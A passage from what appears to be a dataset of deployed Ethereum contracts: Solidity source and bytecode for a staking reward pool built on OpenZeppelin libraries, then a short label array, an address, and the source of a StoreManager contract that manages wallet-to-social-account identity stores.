uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/RewardDistributionRecipient.sol pragma solidity ^0.5.0; interface IWEV { function mint(address account, uint amount) external; function burn(uint amount) external; } contract RewardDistributionRecipient is Ownable { address rewardDistribution; function notifyRewardAmount(uint256 reward) external; modifier onlyRewardDistribution() { require(_msgSender() == rewardDistribution, "Caller is not reward distribution"); _; } constructor () public { rewardDistribution = msg.sender; } function setRewardDistribution(address _rewardDistribution) external onlyOwner { rewardDistribution = _rewardDistribution; } } contract LPTokenWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; using Address for address; IERC20 public y; uint256 private _totalSupply; mapping(address => uint256) private _balances; constructor (IERC20 _token) public { y = IERC20(_token); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public { address sender = msg.sender; require(!address(sender).isContract(),"only EOA"); require(tx.origin == sender); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); y.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 amount) public { _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); y.safeTransfer(msg.sender, amount); } } // File: contracts/BPTPoolmbBased.sol pragma solidity ^0.5.0; contract BPTPoolmbBased is LPTokenWrapper, RewardDistributionRecipient { IERC20 public wev = IERC20(0xFB9fc4CCC2538172fe76F7dC231a6969950E57c8); //WEV IERC20 public token = IERC20(0xB464544111cef99643407Da47F86E9B96cf2B003); //BPT mbBased/WEV uint256 public constant DURATION = 7 days; uint256 public initreward = 525000*1e18; uint256 public starttime = 1602432000; //utc+0 October 11, 2020 @ 4:00:00 pm uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } constructor () public LPTokenWrapper(token) {} function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } // stake visibility is public as overriding LPTokenWrapper's stake() function function stake(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{ require(amount > 0, "Cannot stake 0"); super.stake(amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{ require(amount > 0, "Cannot withdraw 0"); super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public updateReward(msg.sender) checkhalve checkStart{ uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; wev.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } modifier checkhalve(){ if (block.timestamp >= periodFinish) { initreward = initreward.mul(50).div(100); IWEV(address(wev)).mint(address(this),initreward); rewardRate = initreward.div(DURATION); periodFinish = block.timestamp.add(DURATION); emit RewardAdded(initreward); } _; } modifier checkStart(){ require(block.timestamp > starttime,"not start"); _; } function notifyRewardAmount(uint256 reward) external onlyRewardDistribution updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } IWEV(address(wev)).mint(address(this),reward); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } }
0x608060405234801561001057600080fd5b50600436106101a85760003560e01c80638da58897116100f9578063cd3daf9d11610097578063e9fad8ee11610071578063e9fad8ee1461037e578063ebe2b12b14610386578063f2fde38b1461038e578063fc0c546a146103b4576101a8565b8063cd3daf9d14610366578063df136d651461036e578063e5f762e814610376576101a8565b80639c907b58116100d35780639c907b5814610331578063a56dfe4a14610339578063a694fc3a14610341578063c8f33c911461035e576101a8565b80638da58897146102e95780638da5cb5b146102f15780638f32d59b14610315576101a8565b80633c6b16ab11610166578063715018a611610140578063715018a6146102ab5780637b0a47ee146102b357806380faa57d146102bb5780638b876347146102c3576101a8565b80633c6b16ab146102605780633d18b9121461027d57806370a0823114610285576101a8565b80628cc262146101ad5780630700037d146101e55780630d68b7611461020b57806318160ddd146102335780631be052891461023b5780632e1a7d4d14610243575b600080fd5b6101d3600480360360208110156101c357600080fd5b50356001600160a01b03166103bc565b60408051918252519081900360200190f35b6101d3600480360360208110156101fb57600080fd5b50356001600160a01b0316610442565b6102316004803603602081101561022157600080fd5b50356001600160a01b0316610454565b005b6101d36104cf565b6101d36104d6565b6102316004803603602081101561025957600080fd5b50356104dd565b6102316004803603602081101561027657600080fd5b50356106ed565b6102316108c1565b6101d36004803603602081101561029b57600080fd5b50356001600160a01b0316610abc565b610231610ad7565b6101d3610b7a565b6101d3610b80565b6101d3600480360360208110156102d957600080fd5b50356001600160a01b0316610b93565b6101d3610ba5565b6102f9610bab565b604080516001600160a01b039092168252519081900360200190f35b61031d610bba565b604080519115158252519081900360200190f35b6101d3610be0565b6102f9610be6565b6102316004803603602081101561035757600080fd5b5035610bf5565b6101d3610e02565b6101d3610e08565b6101d3610e5c565b6102f9610e62565b610231610e71565b6101d3610e8c565b610231600480360360208110156103a457600080fd5b50356001600160a01b0316610e92565b6102f9610ef7565b6001600160a01b0381166000908152600e6020908152604080832054600d90925282205461043c919061043090670de0b6b3a7640000906104249061040f90610403610e08565b9063ffffffff610f0616565b61041888610abc565b9063ffffffff610f4f16565b9063ffffffff610fa816565b9063ffffffff610fea16565b92915050565b600e6020526000908152604090205481565b61045c610bba565b6104ad576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6001545b90565b62093a8081565b336104e6610e08565b600c556104f1610b80565b600b556001600160a01b038116156105385761050c816103bc565b6001600160a01b0382166000908152600e6020908152604080832093909355600c54600d909152919020555b600954421061061f5761055c60646104246032600754610f4f90919063ffffffff16565b6007819055600554604080516340c10f1960e01b81523060048201526024810193909352516001600160a01b03909116916340c10f1991604480830192600092919082900301818387803b1580156105b357600080fd5b505af11580156105c7573d6000803e3d6000fd5b50506007546105e29250905062093a8063ffffffff610fa816565b600a556105f84262093a8063ffffffff610fea16565b60095560075460408051918252516000805160206115ec8339815191529181900360200190a15b6008544211610661576040805162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b604482015290519081900360640190fd5b600082116106aa576040805162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b604482015290519081900360640190fd5b6106b382611044565b60408051838152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a25050565b6004546001600160a01b03166107016110a5565b6001600160a01b0316146107465760405162461bcd60e51b815260040180806020018281038252602181526020018061162d6021913960400191505060405180910390fd5b6000610750610e08565b600c5561075b610b80565b600b556001600160a01b038116156107a257610776816103bc565b6001600160a01b0382166000908152600e6020908152604080832093909355600c54600d909152919020555b60095442106107c6576107be8262093a8063ffffffff610fa816565b600a55610814565b6009546000906107dc904263ffffffff610f0616565b905060006107f5600a5483610f4f90919063ffffffff16565b905061080e62093a80610424868463ffffffff610fea16565b600a5550505b600554604080516340c10f1960e01b81523060048201526024810185905290516001600160a01b03909216916340c10f199160448082019260009290919082900301818387803b15801561086757600080fd5b505af115801561087b573d6000803e3d6000fd5b505042600b8190556108999250905062093a8063ffffffff610fea16565b6009556040805183815290516000805160206115ec8339815191529181900360200190a15050565b336108ca610e08565b600c556108d5610b80565b600b556001600160a01b0381161561091c576108f0816103bc565b6001600160a01b0382166000908152600e6020908152604080832093909355600c54600d909152919020555b6009544210610a035761094060646104246032600754610f4f90919063ffffffff16565b6007819055600554604080516340c10f1960e01b81523060048201526024810193909352516001600160a01b03909116916340c10f1991604480830192600092919082900301818387803b15801561099757600080fd5b505af11580156109ab573d6000803e3d6000fd5b50506007546109c69250905062093a8063ffffffff610fa816565b600a556109dc4262093a8063ffffffff610fea16565b60095560075460408051918252516000805160206115ec8339815191529181900360200190a15b6008544211610a45576040805162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b604482015290519081900360640190fd5b6000610a50336103bc565b90508015610ab857336000818152600e6020526040812055600554610a81916001600160a01b0390911690836110a9565b60408051828152905133917fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486919081900360200190a25b5050565b6001600160a01b031660009081526002602052604090205490565b610adf610bba565b610b30576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6003546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600380546001600160a01b0319169055565b600a5481565b6000610b8e42600954611100565b905090565b600d6020526000908152604090205481565b60085481565b6003546001600160a01b031690565b6003546000906001600160a01b0316610bd16110a5565b6001600160a01b031614905090565b60075481565b6000546001600160a01b031681565b33610bfe610e08565b600c55610c09610b80565b600b556001600160a01b03811615610c5057610c24816103bc565b6001600160a01b0382166000908152600e6020908152604080832093909355600c54600d909152919020555b6009544210610d3757610c7460646104246032600754610f4f90919063ffffffff16565b6007819055600554604080516340c10f1960e01b81523060048201526024810193909352516001600160a01b03909116916340c10f1991604480830192600092919082900301818387803b158015610ccb57600080fd5b505af1158015610cdf573d6000803e3d6000fd5b5050600754610cfa9250905062093a8063ffffffff610fa816565b600a55610d104262093a8063ffffffff610fea16565b60095560075460408051918252516000805160206115ec8339815191529181900360200190a15b6008544211610d79576040805162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b604482015290519081900360640190fd5b60008211610dbf576040805162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b604482015290519081900360640190fd5b610dc882611116565b60408051838152905133917f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d919081900360200190a25050565b600b5481565b6000610e126104cf565b610e1f5750600c546104d3565b610b8e610e4d610e2d6104cf565b610424670de0b6b3a7640000610418600a54610418600b54610403610b80565b600c549063ffffffff610fea16565b600c5481565b6005546001600160a01b031681565b610e82610e7d33610abc565b6104dd565b610e8a6108c1565b565b60095481565b610e9a610bba565b610eeb576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610ef4816111d4565b50565b6006546001600160a01b031681565b6000610f4883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611275565b9392505050565b600082610f5e5750600061043c565b82820282848281610f6b57fe5b0414610f485760405162461bcd60e51b815260040180806020018281038252602181526020018061160c6021913960400191505060405180910390fd5b6000610f4883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061130c565b600082820183811015610f48576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600154611057908263ffffffff610f0616565b6001553360009081526002602052604090205461107a908263ffffffff610f0616565b336000818152600260205260408120929092559054610ef4916001600160a01b0390911690836110a9565b3390565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526110fb908490611371565b505050565b600081831061110f5781610f48565b5090919050565b336111208161152f565b1561115d576040805162461bcd60e51b81526020600482015260086024820152676f6e6c7920454f4160c01b604482015290519081900360640190fd5b326001600160a01b0382161461117257600080fd5b600154611185908363ffffffff610fea16565b600155336000908152600260205260409020546111a8908363ffffffff610fea16565b336000818152600260205260408120929092559054610ab8916001600160a01b0390911690308561156b565b6001600160a01b0381166112195760405162461bcd60e51b81526004018080602001828103825260268152602001806115c66026913960400191505060405180910390fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b600081848411156113045760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156112c95781810151838201526020016112b1565b50505050905090810190601f1680156112f65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000818361135b5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156112c95781810151838201526020016112b1565b50600083858161136757fe5b0495945050505050565b611383826001600160a01b031661152f565b6113d4576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106114125780518252601f1990920191602091820191016113f3565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611474576040519150601f19603f3d011682016040523d82523d6000602084013e611479565b606091505b5091509150816114d0576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115611529578080602001905160208110156114ec57600080fd5b50516115295760405162461bcd60e51b815260040180806020018281038252602a81526020018061164e602a913960400191505060405180910390fd5b50505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061156357508115155b949350505050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261152990859061137156fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373de88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616c6c6572206973206e6f742072657761726420646973747269627574696f6e5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72315820911c90d3228d75abb01df696eeae2c4d699d6639ea9a56265eb8b523d04b927764736f6c63430005100032
[ 21, 4, 7 ]
0xf36a1c42a7a58801254a53ac54b0b5164698b8d4
pragma solidity ^0.4.18; // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } // File: openzeppelin-solidity/contracts/ownership/HasNoEther.sol /** * @title Contracts that should not own Ether * @author Remco Bloemen <remco@2π.com> * @dev This tries to block incoming ether to prevent accidental loss of Ether. Should Ether end up * in the contract, it will allow the owner to reclaim this ether. * @notice Ether can still be send to this contract by: * calling functions labeled `payable` * `selfdestruct(contract_address)` * mining directly to the contract address */ contract HasNoEther is Ownable { /** * @dev Constructor that rejects incoming Ether * @dev The `payable` flag is added so we can access `msg.value` without compiler warning. If we * leave out payable, then Solidity will allow inheriting contracts to implement a payable * constructor. By doing it this way we prevent a payable constructor from working. Alternatively * we could use assembly to access msg.value. */ function HasNoEther() public payable { require(msg.value == 0); } /** * @dev Disallows direct send by settings a default function without the `payable` flag. */ function() external { } /** * @dev Transfer all Ether held by the contract to the owner. */ function reclaimEther() external onlyOwner { assert(owner.send(this.balance)); } } // File: contracts/StoreManager.sol interface StoreInterface { function getAppNickname() external constant returns (bytes32); function getAppId() external constant returns (uint); function getAddressLastUpdate( address _address ) external constant returns (uint); function isUpgradable( address _address, string _uid ) public constant returns (bool); function isUid( string _uid ) public view returns (bool); function setIdentity( address _address, string _uid ) external; function unsetIdentity( address _address ) external; } /** * @title StoreManager * @author Francesco Sullo <francesco@sullo.co> * @dev Sets and removes tweedentities in the store, * adding more logic to the simple logic of the store */ contract StoreManager is Pausable, HasNoEther { string public fromVersion = "1.0.0"; struct Store { StoreInterface store; address addr; bool active; } mapping(uint => Store) private __stores; uint public totalStores; mapping(uint => bytes32) public appNicknames32; mapping(uint => string) public appNicknames; mapping(string => uint) private __appIds; address public claimer; address public newClaimer; mapping(address => bool) public customerService; address[] private __customerServiceAddress; uint public upgradable = 0; uint public notUpgradableInStore = 1; uint public addressNotUpgradable = 2; uint public minimumTimeBeforeUpdate = 1 hours; // events event StoreSet( string appNickname, address indexed addr ); event ClaimerSet( address indexed claimer, bool isNew ); event StoreActive( string appNickname, address indexed store, bool active ); event ClaimerSwitch( address indexed oldClaimer, address indexed newClaimer ); event CustomerServiceSet( address indexed addr ); event IdentityNotUpgradable( string appNickname, address indexed addr, string uid ); event MinimumTimeBeforeUpdateChanged( uint _newMinimumTime ); // config /** * @dev Sets a store to be used by the manager * @param _appNickname The nickname of the app for which the store's been configured * @param _address The address of the store */ function setAStore( string _appNickname, address _address ) public onlyOwner { require(bytes(_appNickname).length > 0); bytes32 _appNickname32 = keccak256(_appNickname); require(_address != address(0)); StoreInterface _store = StoreInterface(_address); require(_store.getAppNickname() == _appNickname32); uint _appId = _store.getAppId(); require(appNicknames32[_appId] == 0x0); appNicknames32[_appId] = _appNickname32; appNicknames[_appId] = _appNickname; __appIds[_appNickname] = _appId; __stores[_appId] = Store( _store, _address, true ); totalStores++; StoreSet(_appNickname, _address); StoreActive(_appNickname, _address, true); } /** * @dev Sets the claimer which will verify the ownership and call to set a tweedentity * @param _address Address of the claimer */ function setClaimer( address _address ) public onlyOwner { require(_address != address(0)); claimer = _address; ClaimerSet(_address, false); } /** * @dev Sets a new claimer during updates * @param _address Address of the new claimer */ function setNewClaimer( address _address ) public onlyOwner { require(_address != address(0) && claimer != address(0)); newClaimer = _address; ClaimerSet(_address, true); } /** * @dev Sets new manager */ function switchClaimerAndRemoveOldOne() external onlyOwner { require(newClaimer != address(0)); ClaimerSwitch(claimer, newClaimer); claimer = newClaimer; newClaimer = address(0); } /** * @dev Sets a wallet as customer service to perform emergency removal of wrong, abused, squatted tweedentities (due, for example, to hacking of the Twitter account) * @param _address The customer service wallet * @param _status The status (true is set, false is unset) */ function setCustomerService( address _address, bool _status ) public onlyOwner { require(_address != address(0)); customerService[_address] = _status; bool found; for (uint i = 0; i < __customerServiceAddress.length; i++) { if (__customerServiceAddress[i] == _address) { found = true; break; } } if (!found) { __customerServiceAddress.push(_address); } CustomerServiceSet(_address); } /** * @dev Unable/disable a store * @param _appNickname The store to be enabled/disabled * @param _active A bool to unable (true) or disable (false) */ function activateStore( string _appNickname, bool _active ) public onlyOwner { uint _appId = __appIds[_appNickname]; require(__stores[_appId].active != _active); __stores[_appId] = Store( __stores[_appId].store, __stores[_appId].addr, _active ); StoreActive(_appNickname, __stores[_appId].addr, _active); } //modifiers modifier onlyClaimer() { require(msg.sender == claimer || (newClaimer != address(0) && msg.sender == newClaimer)); _; } modifier onlyCustomerService() { require(msg.sender == owner || customerService[msg.sender] == true); _; } modifier whenStoreSet( uint _appId ) { require(appNicknames32[_appId] != 0x0); _; } // internal getters function __getStore( uint _appId ) internal constant returns (StoreInterface) { return __stores[_appId].store; } // helpers function isAddressUpgradable( StoreInterface _store, address _address ) internal constant returns (bool) { uint lastUpdate = _store.getAddressLastUpdate(_address); return lastUpdate == 0 || now >= lastUpdate + minimumTimeBeforeUpdate; } function isUpgradable( StoreInterface _store, address _address, string _uid ) internal constant returns (bool) { if (!_store.isUpgradable(_address, _uid) || !isAddressUpgradable(_store, _address)) { return false; } return true; } // getters /** * @dev Gets the app-id associated to a nickname * @param _appNickname The nickname of a configured app */ function getAppId( string _appNickname ) external constant returns (uint) { return __appIds[_appNickname]; } /** * @dev Allows other contracts to check if a store is set * @param _appNickname The nickname of a configured app */ function isStoreSet( string _appNickname ) public constant returns (bool){ return __appIds[_appNickname] != 0; } /** * @dev Allows other contracts to check if a store is active * @param _appId The id of a configured app */ function isStoreActive( uint _appId ) public constant returns (bool){ return __stores[_appId].active; } /** * @dev Return a numeric code about the upgradability of a couple wallet-uid in a certain app * @param _appId The id of the app * @param _address The address of the wallet * @param _uid The user-id */ function getUpgradability( uint _appId, address _address, string _uid ) external constant returns (uint) { StoreInterface _store = __getStore(_appId); if (!_store.isUpgradable(_address, _uid)) { return notUpgradableInStore; } else if (!isAddressUpgradable(_store, _address)) { return addressNotUpgradable; } else { return upgradable; } } /** * @dev Returns the address of a store * @param _appNickname The app nickname */ function getStoreAddress( string _appNickname ) external constant returns (address) { return __stores[__appIds[_appNickname]].addr; } /** * @dev Returns the address of a store * @param _appId The app id */ function getStoreAddressById( uint _appId ) external constant returns (address) { return __stores[_appId].addr; } /** * @dev Returns the address of any customerService account */ function getCustomerServiceAddress() external constant returns (address[]) { return __customerServiceAddress; } // primary methods /** * @dev Sets a new identity * @param _appId The id of the app * @param _address The address of the wallet * @param _uid The user-id */ function setIdentity( uint _appId, address _address, string _uid ) external onlyClaimer whenStoreSet(_appId) whenNotPaused { require(_address != address(0)); StoreInterface _store = __getStore(_appId); require(_store.isUid(_uid)); if (isUpgradable(_store, _address, _uid)) { _store.setIdentity(_address, _uid); } else { IdentityNotUpgradable(appNicknames[_appId], _address, _uid); } } /** * @dev Unsets an existent identity * @param _appId The id of the app * @param _address The address of the wallet */ function unsetIdentity( uint _appId, address _address ) external onlyCustomerService whenStoreSet(_appId) whenNotPaused { StoreInterface _store = __getStore(_appId); _store.unsetIdentity(_address); } /** * @dev Allow the sender to unset its existent identity * @param _appId The id of the app */ function unsetMyIdentity( uint _appId ) external whenStoreSet(_appId) whenNotPaused { StoreInterface _store = __getStore(_appId); _store.unsetIdentity(msg.sender); } /** * @dev Update the minimum time before allowing a wallet to update its data * @param _newMinimumTime The new minimum time in seconds */ function changeMinimumTimeBeforeUpdate( uint _newMinimumTime ) external onlyOwner { minimumTimeBeforeUpdate = _newMinimumTime; MinimumTimeBeforeUpdateChanged(_newMinimumTime); } }
